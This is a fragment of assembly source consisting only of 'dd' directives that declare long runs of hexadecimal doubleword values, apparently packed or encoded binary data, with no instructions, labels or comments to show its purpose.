dd 0D3A90C07h, 1D875100h, 506D5003h, 562388BBh, 94EC2F01h
dd 9DAF2544h, 0B01CB427h, 0AE49400Dh, 0F1ECB7BAh, 6C252E18h
dd 0AFB129h, 2F099793h, 0A9ECD008h, 25A4161Fh, 9020D5h
dd 0E9618E27h, 1A0BC86h, 28F4C31Ah, 0F0E61E01h, 0DE03871Bh
dd 51D5220h, 0CFE9245Eh
dd 0BDC740A8h, 7300B8A8h, 7C8DCA8Ch, 1EFFD32Ch, 5D0445AFh
dd 0E198FEAEh, 1D28316Ch, 0AA2E79C2h, 7EE05D26h, 21007B65h
dd 552B4A75h, 7E7E58Ah, 386C1CF8h, 316BD2B0h, 1DF00C4Bh
dd 0CE882B39h, 0B459C010h, 9DD49314h, 7E539E00h, 61755A82h
dd 8EF71687h, 8C1E0244h, 44841BEBh, 0E02A4E21h, 326BA9DAh
dd 1E6400E2h, 40C64DB8h, 0E1017D54h, 0D2225387h, 3187863Ah
dd 998D6529h, 0F866AB00h, 642E44B1h, 0F660104Ah, 1918E38h
dd 0BEC908D3h, 87272876h, 1ACDD71h, 0CED0A701h, 79006C72h
dd 573BB93Dh, 0C2B05AC9h, 80374B05h, 60CC85DBh, 4F528865h
dd 0B3341E00h, 92AB9562h, 52700DAh, 3098FBD3h, 4C5C58C2h
dd 0B073C96Ch, 7FC4F5A0h, 4C257992h, 98500431h, 6C8C8A20h
dd 0C41ECD29h, 1100B1C1h, 5D25D92h, 0F5430BAEh, 0FCA0A3EEh
dd 0CD3EC75Ch, 5EF61D03h, 79190260h, 6E3A3749h, 5F18C581h
dd 495B1EBCh, 0E00185AAh, 48B18057h, 0F6005AACh, 55CB3459h
dd 306C51h, 0A5D7A0D6h, 17610624h, 0B24A5Ch, 3932BA5Eh
dd 0C31ACFA4h, 7B3AF459h, 2033F7C0h, 0FA215800h, 0AF0AC1B4h
dd 59900FFh, 42BE9645h, 0A82838D3h, 60B18031h, 4ABAAD01h
dd 77F40B19h, 0CD8603FAh, 45BE7212h, 0F0F8A5ABh, 0EC015ECCh
dd 7CF532DFh, 146016DCh, 0C81C04Ch, 9E677AE8h, 769CB513h
dd 91D35020h, 11BF0F45h, 374AC4D2h, 25424084h, 489B8328h
dd 4C4FC983h, 27DEF007h, 0A4B01C5h, 0E6769195h, 65CED9h
dd 0FFE8BB00h, 7C53AEDEh, 610261FBh, 548A8F9Eh, 9958C2ACh
dd 71B2823h, 0A2F92B81h, 805719D9h, 5731EF55h, 8738942Ah
dd 10B7C78Ah, 6D25AE8Dh, 0FC90D900h, 0EF54A875h, 5390C40Dh
dd 0FC2C8D80h, 4500C960h, 0E5BDAE5Dh, 0C06FCF13h, 7F49AA91h
dd 0AD1DB982h, 0D54001F5h, 6127390Dh, 14717745h, 84B55E76h
dd 0B1E8830Dh, 62F821B1h, 0BAF509B4h, 0ED3C05ACh, 25BDB088h
dd 0BC2726D3h, 0BBB60B0h, 0EC0EDE12h, 3CD21992h, 4135C009h
dd 0C9319E88h, 609451A4h, 0D458FB5Dh, 0DC19DB0Ah, 8160B0FDh
dd 2BFC7F2h, 56EDC6F8h, 0A4469D80h, 0DB88ACBBh, 4600A39h
dd 883B44A4h, 0C4000670h, 0A0D92C32h, 7385BD80h, 0D0B3029Ch
dd 740E3DF1h, 11339441h, 71915ECAh, 0E3831CBCh, 313570A2h
dd 90086FC6h, 8432CDh, 1F864E45h, 803E79h, 1498EDB7h, 8FD9DAD5h
dd 9A000FF2h, 0CD357412h, 0D6EC5Bh, 2A3295B2h, 45671F1h
dd 11856B0Fh, 90305283h, 0A25EBAh, 51E80FF5h, 3F70AC58h
dd 7625CF7Fh, 0D1F022B0h, 89EC0A69h, 7C63CC85h, 0CAA0C480h
dd 0B3BE3700h, 2498EFAh, 0F8C1FA38h, 70BD28B1h, 298844F4h
dd 50811C91h, 89D23C76h, 0E513ECh, 974306ACh, 0D5589EA6h
dd 38D6B405h, 0E80469A9h, 68D209FEh, 0E9001631h, 0B524029h
dd 1F98B0C9h, 41484C71h, 0AC05FD3Dh, 68C9A982h, 1689F484h
dd 85EE60D1h, 3875191h, 2E42561Fh, 420CF10h, 34C55F5Ah
dd 8C21AF3Bh, 943D39D8h, 0C4E880D9h, 27C7DC2Dh, 87D12A1h
dd 2C7C01CDh, 30F48A01h, 50913A10h, 583B3C00h, 0D8D363h
dd 0B02749Bh, 0A92B9147h, 3F37541Ah, 4C66F8h, 0F689DAD7h
dd 1E5AED06h, 0F3F49524h, 0B848FC17h, 0A4F18082h, 15C6A3DBh
dd 4413CE7Ah, 830F61DDh, 8C20F63Ch, 0E8FCC4FEh, 4DD20020h
dd 0AF635BC2h, 19036CC9h, 0A3DE09E6h, 0D8D8B5DCh, 0E1B89406h
dd 0F8AFE9D0h, 1401E5DBh, 1F0FB8EDh, 60E00615h, 0EC1C5C25h
dd 0AABD3EC8h, 9B009C64h, 0C65373F0h, 0CBB5C4h, 381A6895h
dd 0A6423CD7h, 0CD373603h, 0FAA2584Eh, 0E3B89326h, 357FC892h
dd 38600C3h, 1F0DBAB9h, 7028AB3h, 7934BFADh, 8398E85Eh
dd 2CF891E1h, 0F81001CCh, 335EDA28h, 394F07CCh, 99C193FDh
dd 0E630D3D8h, 0A7A4A85h, 14CD14h, 9E3CB5EDh, 0F33B474Bh
dd 0DC4D0ADDh, 6508C04Ch, 0EC830475h, 2530E786h, 27ACA469h
dd 0C68C8h, 34A29399h, 0B264C010h, 7C12C879h, 0EC1E356Bh
dd 5BCC2765h, 2A559DC1h, 0B5003472h, 0ABCE18F7h, 5144D063h
dd 2DAA13BDh, 0BFE7F0E1h, 5CD0A048h, 69021190h, 96DE050h
dd 0D233ECD8h, 83265040h, 0BC20F44Eh, 9E3ED4h, 0BE05CF35h
dd 4FE0D27Ch, 194C9F48h, 0F1089CCDh, 4C83E360h, 0BD8C50EAh
dd 534D56D2h, 6D04840h, 182A365Eh, 0F6A024B9h, 0BA5F006Fh
dd 43769F85h, 48B04F5Ch, 7E15C0D8h, 58D0126Bh, 0EE028B4Dh
dd 0CEBD3350h, 4B0108E4h, 0C12FADDFh, 49E070B3h, 27BF1FB7h
dd 2B4440FDh, 0FF532397h, 7028189Ah, 0DC7B4028h, 9BA9CA00h
dd 0E4B90850h, 0FB1C1663h, 0E0788826h, 0F8C0D0ABh, 35002F4Ch
dd 0D28D353h, 5CAF3A34h, 0A427D872h, 0E1730410h, 88CC8D1Fh
dd 0ECC0DB1Fh, 8117C9EBh, 0BBF0287Fh, 702650C4h, 0BC430173h
dd 0F9A3A274h, 123C71CDh, 0E31098C0h, 4A570B17h, 0A090813Ah
dd 951D11DCh, 0F5077C7Eh, 0B36031F7h, 30BDB619h, 1529543Bh
dd 0EB0E11C3h, 208A4AD5h, 8B948820h, 0A840030Fh, 82EC8CDDh
dd 1A286918h, 3D8875F9h, 1380354Dh, 5E91EE2Dh, 849E8027h
dd 9C26F543h, 7B00A4h, 66D58175h, 6D2CF15Bh, 9E410902h
dd 90CED9E1h, 6DB89A0h, 52506FA7h, 16034985h, 2DE826F7h
dd 0E0CCD474h, 0CAB9008Ch, 81FE024Ch, 8FF80DF3h, 0D3CCAF12h
dd 1DE42CC8h, 0FE70B55Fh, 98C3B000h, 0C04585A8h, 0A11C7302h
dd 0D0D6D78Fh, 0F5BE1964h, 603779D1h, 6700025Ch, 0B9133645h
dd 278FC5Eh, 0A09598DDh, 70CC9E52h, 2C5841EBh, 3DD19C63h
dd 0A034BA4h, 98352862h, 1275F737h, 9D3551Ah, 0A8003D78h
dd 0FEE8316Dh, 389ECE22h, 0EE484A81h, 1B0E7E00h, 0ECC56636h
dd 0A3F3F906h, 1C29B2CEh, 7C1C1ADDh, 59B9BA81h, 0DDF36CDAh
dd 1FB02206h, 0D90E30E0h, 0A31CA089h, 616B4731h, 1E607038h
dd 10D0294Bh, 284693Bh, 0BF374132h, 0B7F0132Ch, 0B09E12B6h
dd 466888EBh, 0A52E6B13h, 56F33805h, 84422784h, 20612DCAh
dd 3A054814h, 13B6E0Fh, 1B15A3C9h, 4BF4C1DCh, 0BB3161D8h
dd 82A39D74h, 57C95F9Ah, 2D44BC61h, 0AFC3C0D4h, 4050F2h
dd 174953A5h, 4839ED04h, 0FACB7302h, 0C07F9580h, 827563D0h
dd 0ED0068D9h, 0BF08D746h, 98CC0072h, 306224EAh, 330996E3h
dd 0E08576ACh, 36B7180h, 43024DD9h, 2D902AA2h, 6CBCCDCFh
dd 0A0966540h, 8CD0127Fh, 9D5488EDh, 0CE8A1CB9h, 0B10A0CA4h
dd 4BA09Fh, 200C3C7Ch, 356CA024h, 0A8700C5h, 0F8C39089h
dd 273D1FE3h, 2FCD00F1h, 4646914h, 5EC80386h, 0A71596E2h
dd 3C26B124h, 0ED6ABC40h, 6EEA00F4h, 0DAF0C28Fh, 0FE0A52A7h
dd 4CBFB299h, 1898B420h, 9B9EBA0Ch, 9E251955h, 72888F3Ch
dd 0B48DF1A0h, 73FE1552h, 705D0803h, 41CDAh, 31BA8431h
dd 0D5F6A5C8h, 57F9A207h, 0C500D4B4h, 5A8CCBA0h, 1C9021EAh
dd 156C3201h, 9DFC1F60h, 8CDABCC3h, 16C97CEFh, 883A1D42h
dd 717CA054h, 6C20F65Eh, 0B6CFA5D6h, 6C98078h, 0D73B27F8h
dd 0A47B2E1Dh, 7D415059h, 0D134D0h, 0AE619F4Ch, 9CD81126h
dd 6F75ED00h, 0DF735C83h, 0CF142EAFh, 0D68B4200h, 1F80D48Eh
dd 39045598h, 18F010C1h, 3078F9CDh, 1D38405Bh, 0C1D43B03h
dd 909032F0h, 57AC2600h, 0FDD3DE75h, 806CB153h, 0D59181AAh
dd 0B900A0D6h, 0A967F611h, 31DE6B04h, 0F7408315h, 0E8C0304Bh
dd 15B9844h, 0A08E306Bh, 336F7A99h, 0F8CD0074h, 2363E6ADh
dd 96D81C04h
dd 1D1F8391h, 2AB0BEA6h, 0BD126905h, 0AC099F7Eh, 7D60C25Ch
dd 7CC85562h, 0C18A81EBh, 4ED28FC0h, 7DB009Ch, 620D8C8Ah
dd 501F103h, 0EE632E8Eh, 8C501ADFh, 3565116h, 0BEE9F40Ah
dd 0B0C4E632h, 0A496F500h, 0D1200D40h, 89761870h, 0BA55317Ch
dd 3E1DA014h, 487380F8h, 0F063FE29h, 3CB49842h, 61806D03h
dd 0A95D4AC9h, 0BB16C61Ch, 3713B6BDh, 0C131E8D0h, 4698003Dh
dd 273BFE74h, 0F2006AD8h, 42E79A07h, 908A459h, 0CDE458AFh
dd 242A5C00h, 7F0023BFh, 2BCC3EC7h, 265ED0h, 0FAFCD350h
dd 68F60DEFh, 0A8AE9E18h, 0BEE283A1h, 0E41650CCh, 49912C00h
dd 9C1B2553h, 565000DAh, 630FA29h, 130093A6h, 60A43436h
dd 0F2376DE1h, 40C2034Eh, 845D3056h, 28C421DDh, 4B598034h
dd 9C8B1C54h, 0BD7D00B7h, 37255D26h, 4DB0078Eh, 0B380E0BCh
dd 1DC3A2CFh, 51C4BC01h, 58A7FCD3h, 0E6C31F00h, 26E23B55h
dd 899CA86Dh, 97CE005Fh, 0B7538DFDh, 0DF1631D4h, 5888A3FCh
dd 0C27D0001h, 1D896A5Ch, 264CCD30h, 7B5080F4h, 140ECFFh
dd 698A014Eh, 0E8B8CCD2h, 5F00AAC8h, 64171EE2h, 272B8575h
dd 9C83F883h, 0A11780E3h, 497969Eh, 0F859F5C6h, 0FD650732h
dd 0C1363B19h, 223A0C86h, 0E5FE7250h, 6AD53500h, 5784ED1Ah
dd 8F310011h, 0C62C2D26h, 0CB174BEEh, 900874F6h, 0B49F818Eh
dd 0D09B04E5h, 1C007A19h, 5F7C92ACh, 0F283F596h, 60285C69h
dd 0C0679887h, 0CA8D3C60h, 0A7592000h, 3F9A3312h, 2B4C126Bh
dd 3B600EBBh, 0CE871F71h, 56FBD600h, 4C681C5Ch, 50849878h
dd 86ECB43Bh, 0C52D171Ch, 0F01299C0h, 7D62BAF2h, 8CF41C8Dh
dd 90E196E0h, 30D4BD98h, 8480D92Eh, 17D20960h, 6EE4044Bh
dd 808370D6h, 0DFDB87B9h, 0A1A4A05Ch, 0A04094Ch, 45BCE0C0h
dd 73502038h, 0D80042AFh, 0E9261EECh, 0A43BB6BCh, 0EFF900B8h
dd 44C0204Bh, 0BE1F08FDh, 0F9AEB67Ch, 0D8D44900h, 96A6E1Ch
dd 0F27A21A2h, 64F06088h, 0A4E0339Ch, 0ECC03054h, 345869FEh
dd 20B79B13h, 0C06888h, 0EF669022h, 11B3A0B4h, 1D57D00Bh
dd 195C993Fh, 0B9144208h, 7C9C4D7Eh, 93BC054Ch, 0C5FFEC00h
dd 425087Ah, 56AE909Ah, 8EFCA07Eh, 0EA052B07h, 6811F79Fh
dd 398052BDh, 0F5C4992Ah, 400FB92Eh, 6045311Fh, 3F23EEF4h
dd 0CFB200E0h, 7365E226h, 0CAA10E50h, 0F77C3058h, 125EEC3Ch
dd 6820CF16h, 1EA22C53h, 45706399h, 0AE33727h, 45F47DF6h
dd 95B82052h, 27024A4Dh, 0D5F9E68Bh, 126B6038h, 0ECD33BFFh
dd 536CC085h, 8484F41Dh, 492B5637h, 0C23EC881h, 6FF18761h
dd 47803038h, 29F6976h, 2B542A12h, 0E091EC93h, 0E87EF46Dh
dd 315D1733h, 99F4005Ah, 5FFB5056h, 6F1A3205h, 60C0A5D2h
dd 58E2D65Ch, 4DC0B455h, 0E66E1062h, 0DCFF8100h, 0DFBA91CBh
dd 5E920BF7h, 8E803CFAh, 4571368h, 2026752Fh, 556E084Ch
dd 257A1294h, 1C0CA0B8h, 9C470745h, 0F44463D7h, 0BD0044ADh
dd 8C9C0B3h, 90C7B194h, 0A0F0F360h, 98BC2D45h, 0B814E7D8h
dd 0F5430004h, 84730456h, 248551EBh, 2A1DA820h, 384232Bh
dd 18379651h, 85B8F6ACh, 691EC64Fh, 0B7809310h, 0BB1CE65Ch
dd 5CA0958h, 0A0041AC0h, 2238546Fh, 0F8D3262Dh, 0A65A63C0h
dd 433A3ED0h, 5CEBE002h, 0C0B40736h, 8076EAB8h, 0BB48E183h
dd 8585C898h, 0C0D1EB01h, 99BD6FF6h, 2489701h, 0A22BBB74h
dd 38A3F3C8h, 0B701C738h, 0B3A8E31h, 0D0002E20h, 932FA608h
dd 20345F37h, 0E901EB4Ch, 4D81D02h, 0EAC44AA6h, 0D8715Ch
dd 0B1C39233h, 12009C1Dh, 542BC94Dh, 38CB0CC5h, 99BA515Fh
dd 0A60A5582h, 6CC058E7h, 9C4AFBF5h, 23BC8422h, 4194F483h
dd 60C41835h, 48C5A645h, 100BE472h, 0AD58FC2Bh, 26E4C2F4h
dd 21082064h, 8A0016D3h, 77AF633Ah, 9554419h, 5F14CBEFh
dd 0B70000E4h, 970AD263h, 1D7E6722h, 80B13943h, 98EA8AB5h
dd 190085E2h, 0FAFDD04Dh, 88352B0Eh, 560027E4h, 0BBA73003h
dd 26692C3Ch, 0F87DDCh, 331DA357h, 3705F8A2h, 0D35A0495h
dd 1F7F888Ch, 32C3EEAh, 0E29428B2h, 0D51B0CE0h, 5EDCC81Eh
dd 433E1F0Eh, 0A8CAB674h, 0A9573AAh, 37A25665h, 1C0C05E8h
dd 88781239h, 83393AFCh, 438200B3h, 38C6D652h, 30275E79h
dd 7E2D848h, 9CB43E28h, 6636CA00h, 49829C06h, 0FE1E12FBh
dd 65E4A056h, 108330A1h, 0D61E7Bh, 5CF45B39h, 14508193h
dd 1F5F4800h, 0CA9F41FCh, 0A25712A5h, 2AE40BE0h, 6E6924E8h
dd 0E791201h, 9B650FC9h, 98ABF070h, 0AC349633h, 760E60F0h
dd 88BA5966h, 0DF2BF713h, 0EF722C41h, 0C070A22Eh, 983505A3h
dd 680F32h, 0AD8ABEBCh, 8024569Ah, 0ED6230B4h, 0B425259Ch
dd 0A00B5F8h, 9207F7A8h, 0AC54FCh, 0C14F7FC0h, 28ABDFC8h
dd 259EDC12h, 0CB2AA491h, 6E60F1DDh, 0E96F0061h, 0BD98834Bh
dd 7B096733h, 35710BFh, 273FDBCh, 0F6A92930h, 0E041E40Eh
dd 0D498F2CAh, 0B0EC577Eh, 0A6931E00h, 0F3BAEF43h, 0A9716E2h
dd 42AC019Bh, 2A85ECF5h, 6B44A000h, 12EF73A9h, 0F16C5EF3h
dd 0BF21FE6Ch, 0E8A52D32h, 1844A044h, 7957051Ch, 83E1F28Bh
dd 0DF80214h, 812FF00Bh, 9DA020CEh, 96F7FBh, 0D25C9A7Dh
dd 0C50A1659h, 6BE55F12h, 361CAAA8h, 8411C9BEh, 24008464h
dd 53C97B34h, 4F7868Eh, 611C29DDh, 0CE0CEC1Eh, 3F6D029Fh
dd 91244349h, 0CB712EB0h, 0EC3D4470h, 4877030Ch, 31DAE93h
dd 0ED0AD9EEh, 0FC8D980Fh, 0CB073B07h, 726D4200h, 0D9CA137Ah
dd 0FC9702F6h, 5C7487CEh, 5A017E38h, 2923A278h, 0E0482B27h
dd 0DA180087h, 16A692FAh, 9007BF58h, 0A84BAB72h, 0CCC9DE0h
dd 9C356074h, 44653268h, 91F6014h, 8A3E3964h, 0BC252182h
dd 42909640h, 872E0072h, 0D532EE8Bh, 41E05F6h, 8F57577Ah
dd 6E0CA004h, 0E6259E5Fh, 3A7F003Fh, 2C0E7103h, 0C85D7000h
dd 0A75415A0h, 74379ABh, 523BC166h, 95047032h, 0F6036BE8h
dd 9C9DE10h, 7D112B7Eh, 0BE968604h, 981F1086h, 29E437E5h
dd 1DE62900h, 7030EBF2h, 0DF48037Ch, 0D225970Fh, 0E92E1C80h
dd 8D4CB900h, 5E3336F0h, 0D7A43D8Ah, 0BC9213h, 0D950D216h
dd 0DDB057DCh, 0EFCDA600h, 0FAE71EB1h, 0E46800A3h, 0C847AD6Eh
dd 0C10F4CBDh, 62FED63Fh, 41DA3B90h, 9FF13C66h, 32411E4h
dd 795B30C5h, 5FC80C56h, 69077083h, 4CAB08B1h, 0C2E6A510h
dd 6BDD00FDh, 1F632317h, 8800F943h, 0E29BF4A0h, 1C93249h
dd 72E73EFh, 0DCB0EBD1h, 5F98D2FAh, 0E13DE00h, 7B27AD1Dh
dd 0E7AE0983h, 0B60117F2h, 0D8057658h, 0D81CE318h, 0DE038977h
dd 0E0E7D5A7h, 7ECA3Ch, 9BFB7F14h, 510BCB59h, 25492100h
dd 0D2366E0h, 0E69E1C69h, 1FF340C5h, 14459BDEh, 22899206h
dd 1DB10BE8h, 0C0D85A9Fh, 3104EA2Fh, 0B76272F7h, 2E53C738h
dd 92971480h, 15006D2Eh, 0C2F38E3Ah, 0A80371h, 9AFCE805h
dd 55049991h, 723B89E4h, 0F1A480D6h, 8DB91710h, 1C34F209h
dd 0C0433C96h, 0A5160156h, 4800632Fh, 148CF139h, 836A29h
dd 78288FACh, 4FF3734Dh, 41894E00h, 4A117DC1h, 93980014h
dd 5D4C7720h, 0B21FA445h, 1DCBE86Ch, 0C08F8487h, 180312C0h
dd 328A2EDCh, 0D76400A6h, 7ED89B5Bh, 0EEE0E500h, 310384FFh
dd 0E0DFEB92h, 7FD9313h, 646D62A9h, 7EE790DAh, 161E65B2h
dd 5380D505h, 0C9FEE2Fh, 0FC9100DEh, 63DB556Bh, 0C600A021h
dd 88E7C8F3h, 0AE794Fh
dd 1002771Eh, 1A4B9A60h, 39ADBD00h, 0F9DC37A5h, 5B3F00B6h
dd 0FC188E2Ah, 0BC1E2E8Fh, 0B7C0547Fh, 990E5A5Fh, 1D6376D8h
dd 802BDA68h, 39157B65h, 2D00B34Ah, 0E7ABCF1Ah, 6B9411h
dd 0E83EC205h, 213A8253h, 0FF9B840Fh, 0E27F23D4h, 0B1578883h
dd 47A7BA1h, 8EF3F069h, 41D8C0AFh, 0EF1E1C7Dh, 4F4FE48Dh
dd 0E94BC372h, 69FBA806h, 0F117014Ch, 4D4A59BDh, 0F403D902h
dd 3B167944h, 1000D553h, 9A645DA1h, 2F870070h, 42416838h
dd 7B002CCAh, 86FA2775h, 0F067FEBh, 5D135E7Eh, 0C7E86A78h
dd 6837E000h, 8FE63279h, 0BDE417DBh, 4A810FE3h, 775DBE80h
dd 3700EA16h, 830AADC9h, 21303Ch, 0FF89BD54h, 19AEE659h
dd 0E3278B00h, 7AB8684Bh, 15F8243Ah, 29B90069h, 91A9177Dh
dd 0FCAE4E00h, 7A2D5CDFh, 78AF0074h, 0F0DAC5EEh, 280094A0h
dd 87609D14h, 0E2E60FF5h, 0B1241CE8h, 29A14067h, 2B61DDA0h
dd 0B0E0200h, 0BD772DF3h, 47B91ECAh, 44EA00F1h, 2CA1F231h
dd 633C48h, 0D5726798h, 0A061D6h, 13CDD227h, 80D4BCE4h
dd 78B6D300h, 15455891h, 75EE0029h, 0A8DEA446h, 402A0984h
dd 0AAF6843Bh, 4B27AB1Eh, 2DC7A005h, 3958A700h, 990BF5h
dd 0AE1C1E48h, 9DCECDDFh, 19BBC000h, 6A0FCC5Eh, 61DE0064h
dd 0B9BCC5AFh, 1FE67C81h, 41E240EAh, 229BDD00h, 718F101Ch
dd 47C203F8h, 70A619E5h, 0D36C3803h, 0F95CF115h, 41809820h
dd 0FB1E597Eh, 270011ACh, 8B779F6Bh, 21435EFh, 1726A9B8h
dd 99E0B97Bh, 976FCBFh, 0D6A4D900h, 0BA23EBAh, 28C81F73h
dd 8E6F417Ah, 0F8B53C20h, 167DFC32h, 0BDF70200h, 97043111h
dd 3F8E03B3h, 770F9E3Ah, 8BE8F98Bh, 940970FDh, 0FBE13B0h
dd 3BEB750h, 0FE4E63ACh, 23249988h, 498E0801h, 7AE837DFh
dd 73A5C0h, 55F3772Ah, 1F510697h, 0B1045F00h, 2FEAFBA7h
dd 72CC0035h, 0FD921BB8h, 41009A58h, 95896922h, 3D46096h
dd 49858355h, 0D1C161C1h, 818CC8D6h, 48671C00h, 4B021D0Ch
dd 91F806h, 80FF8401h, 0E4D96832h, 0CC61311Eh, 0EF6A78C0h
dd 0F8BCA2Eh, 3334D89Ch, 0EA93CDA2h, 321B849h, 3540E7C5h
dd 11219DDh, 2BA6EF7Eh, 405FF6F2h, 8039CD0h, 68638403h
dd 0E05C6BF8h, 65D1099Fh, 0C0F02046h, 6C4AB01Ah, 0D07D4401h
dd 5F4E0457h, 2F60A4C5h, 3D830062h, 0D2A6C433h, 4200A3CAh
dd 0BC09EC9Ah, 1BB3CDCh, 860B8BAAh, 0E85A81D1h, 8C0010A0h
dd 41A94AC5h, 7583990h, 1CAAEC75h, 0E8D502Ah, 740094DDh
dd 534324C4h, 7C9736h, 0EA2D56D1h, 585AF6F8h, 850013B0h
dd 0D92F288Dh, 44D782h, 45C98381h, 1AF0573Bh, 35EB300h
dd 13043FAAh, 3D7D50h, 8AD14371h, 8032915Ch, 0D66B6E00h
dd 0C5D0F1E0h, 50769Fh, 0C5C48FBh, 66512671h, 8A28B60Eh
dd 0D0F9409Eh, 3DF4DCFh, 0D19C6360h, 9580BDABh, 0C50165AFh
dd 9B744F8Fh, 8A4140EBh, 1CF4F363h, 62CB0E4Ah, 5AC0A45Dh
dd 0BFE52919h, 5F70601Eh, 0CB1058C0h, 604DC6F5h, 0B88F4080h
dd 277959F1h, 922C2B00h, 79853273h, 48BD0058h, 0B668D321h
dd 2400EAABh, 0CBCD8F4Eh, 573A14h, 0BFFC3FC4h, 0E666D670h
dd 0B400997Ah, 95752719h, 16861D5h, 0F742CFCh, 3560CA59h
dd 886D498h, 0FA841900h, 2C30813Ch, 4CE300A5h, 0B845A2B1h
dd 0CC052D43h, 31906A54h, 924B30C0h, 0AC27001Fh, 9EBE48F4h
dd 5902EA39h, 517C8BFFh, 0D14840A7h, 0B19901C7h, 2137976Ch
dd 0E70BE4Eh, 98B9B2C9h, 3F483980h, 867C4EEh, 0CCF640B6h
dd 21C3BA29h, 34DFE37h, 9A8FD739h, 40976C78h, 0AC79B1A5h
dd 0C31DC80Bh, 0FB980187h, 0FC303EC6h, 0F387AB5h, 0B0059720h
dd 25120600h, 0F800E6E3h, 0DD924A8Eh, 589CBA0h, 36BC55E7h
dd 97504A20h, 704F0140h, 81D66EEEh, 0D51BB711h, 398263E1h
dd 7729DD8Dh, 143D1880h, 0B907FD4Eh, 0AA65A635h, 0F9DBA540h
dd 0FEB8A862h, 68FD6097h, 95780A73h, 5F28C00h, 0D65B48EFh
dd 658D0060h, 0C1526ADEh, 3E003DA5h, 0FC67B828h, 405ECAh
dd 0AA3B6BD7h, 69CE1EB6h, 0CAB358h, 6A6EDB02h, 76E54C15h
dd 83980060h, 3D8154B5h, 4FECCBCAh, 3224A900h, 0AC689BC9h
dd 0BB8201F3h, 0FC9F98DBh, 5D805355h, 27A79788h, 0A52E6300h
dd 0F1E2462Ch, 0EC6D005Bh, 375482ABh, 1A61D715h, 0FCE9B30h
dd 7100C0EEh, 8E090141h, 0E4BC0437h, 30B52176h, 5F0065CFh
dd 4BD3C025h, 0FCB6AFh, 0B1DFDB1Fh, 0D58C8B39h, 8F873300h
dd 0EF08A5C2h, 0E398A85Bh, 5D8300D7h, 0E1B4F880h, 0F400B757h
dd 29C473DEh, 431C53h, 2FD55831h, 0A9A3B934h, 829C6A00h
dd 0CF5F86C4h, 0B6F50BA4h, 2B804CD6h, 0CDBA8C2h, 2903A07Bh
dd 9F84D594h, 6D1800EAh, 0FF5A9C38h, 80C054A1h, 9E5BCCD1h
dd 8CF0A8AAh, 0D08D00ECh, 1AF7A3C2h, 8E3BB65Fh, 90288091h
dd 92687C47h, 0DDD012DFh, 50282357h, 24C763A0h, 4891EF30h
dd 7FA235C1h, 8911008Bh, 0E01F0F96h, 0B77E66F9h, 56B66400h
dd 0B8B5EBA2h, 0D02A00C9h, 0E9C62D2Fh, 8D31BD51h, 0B61408DAh
dd 838208Fh, 0E7F3EFE0h, 24F635BCh, 0C8286207h, 0CF405A65h
dd 0F6C0E1Ah, 0DB938792h, 47E667C0h, 0B90C85B1h, 48BA2EC1h
dd 0A3333A03h, 9BB60A03h, 813CF83Dh, 5F5780C7h, 702A9E01h
dd 0BAD10112h, 0D832ABC1h, 0B71894F5h, 84D4211Ch, 0B3C42h
dd 8B9678EEh, 0E470A5B9h, 4BB76149h, 0CAD27DCh, 5218480Fh
dd 0CA0E4958h, 98F23D9Fh, 309880h, 2B1DD4D0h, 0FE709A13h
dd 8BEB0B74h, 0F098AFA1h, 0F9DE294h, 1A8F5010h, 20C826C6h
dd 748E62C7h, 0CA8A3E6h, 0A615D8EBh, 7500C7B8h, 9B6DB2CAh
dd 0BDD45h, 0F301F763h, 0DE5EFFC0h, 5F782800h, 84F9E1CBh
dd 4AEE00AFh, 0CD2D373h, 280074C1h, 6362D477h, 1F0B459Ah
dd 0C7751B3Eh, 10CACDB7h, 7F7766B8h, 0AD63A9ECh, 0C09F7CD2h
dd 7DCC39h, 0F5F44A03h, 0D40E2BD5h, 35658B00h, 4D1518BCh
dd 61CE1CF0h, 2EE08094h, 4B72020Fh, 0D4F32C00h, 8B5F7582h
dd 1CF40767h, 40F714BEh, 99315D06h, 6A12A50Eh, 7386E3BFh
dd 8B83F555h, 6997D0C9h, 54CEE18h, 8007CA9Dh, 53D180F6h
dd 0D700C8FBh, 0F0E56978h, 7C3F9BFh, 9A227934h, 0AF67A0D0h
dd 94EE6A0Bh, 31C685Ch, 2A358A7Ah, 0A570EFF0h, 0A8BC9Fh
dd 95D0949Bh, 7962D9EBh, 0D45D6918h, 60C27B50h, 0E406B035h
dd 700F62Dh, 14A85FD8h, 7A4FBCB5h, 0E366005Ah, 0B16322CBh
dd 0F80F94D5h, 0B878D6CCh, 434A38h, 45EC89D4h, 4F912D35h
dd 0E485A606h, 103611h, 1F29BCA3h, 88D4F28Dh, 0CFF97500h
dd 0CCE3FCB2h, 0EEAC3B9Eh, 7EB0C400h, 0C6A908C8h, 0C068C00h
dd 43E0124Bh, 0FF911EDAh, 6004290Bh, 0D7035DCh, 820FA9F8h
dd 0C0C94A58h, 0FF75E651h, 0C6F4F0h, 0A2DB4403h, 0A83D60EFh
dd 29C45AFAh, 6703E59Dh, 0BD900771h, 0F81682E4h, 8707A315h
dd 647079ACh, 96F0C8h, 0AAD69C4Ch, 855CED28h, 0CECB3C00h
dd 8168E0BAh, 0B66A0E9Bh, 6DE02D49h, 45474887h, 0EE0EC900h
dd 1D345097h, 0B0700E5h, 9256261Ah, 7476CAA7h, 8C44C300h
dd 0A340B975h, 7B1C0048h, 46242E07h, 0F13E9E32h, 411160F3h
dd 1A0C462h, 0CEB652BEh, 407595DDh, 1B95E80h, 18133200h
dd 0A9E709A0h, 86B40372h, 5B822FC3h, 3FDC5790h, 70ABF500h
dd 0B719A554h, 0CBFE75h, 0ECD5726Fh, 0A933B92h, 5C30DE00h
dd 0EB94B3A5h, 7F0600FBh
dd 0B80F443h, 7D003746h, 0CF55D868h, 0E04E17h, 577F69EEh
dd 0AD36D20Ch, 2DA5EA00h, 58912C76h, 0EFDF480h, 0DA4D5407h
dd 77202E20h, 100078ABh, 0F6665535h, 8F80Dh, 71092AE4h
dd 6929327Bh, 41543C0Eh, 86C98033h, 72A62F80h, 356F01BCh
dd 19DC7DA4h, 8284D02Eh, 14A1111Dh, 7F5EED43h, 956C8936h
dd 3CC92F4h, 4DC4A96Ah, 2298914Ah, 0AD00CD35h, 747179BDh
dd 2C4916B2h, 0F2713BEh, 58E0C1ACh, 0BC655EB9h, 0E3F37A00h
dd 231282BFh, 9E4E003Ah, 0F57FA264h, 0FF00BDFBh, 9F93529Dh
dd 1F7EE39h, 0B17A75C2h, 0C80543ECh, 0AF00AC50h, 477FCE81h
dd 0E9588Ah, 0F9EA2F1h, 44B6A822h, 283DEA00h, 631AB9F5h
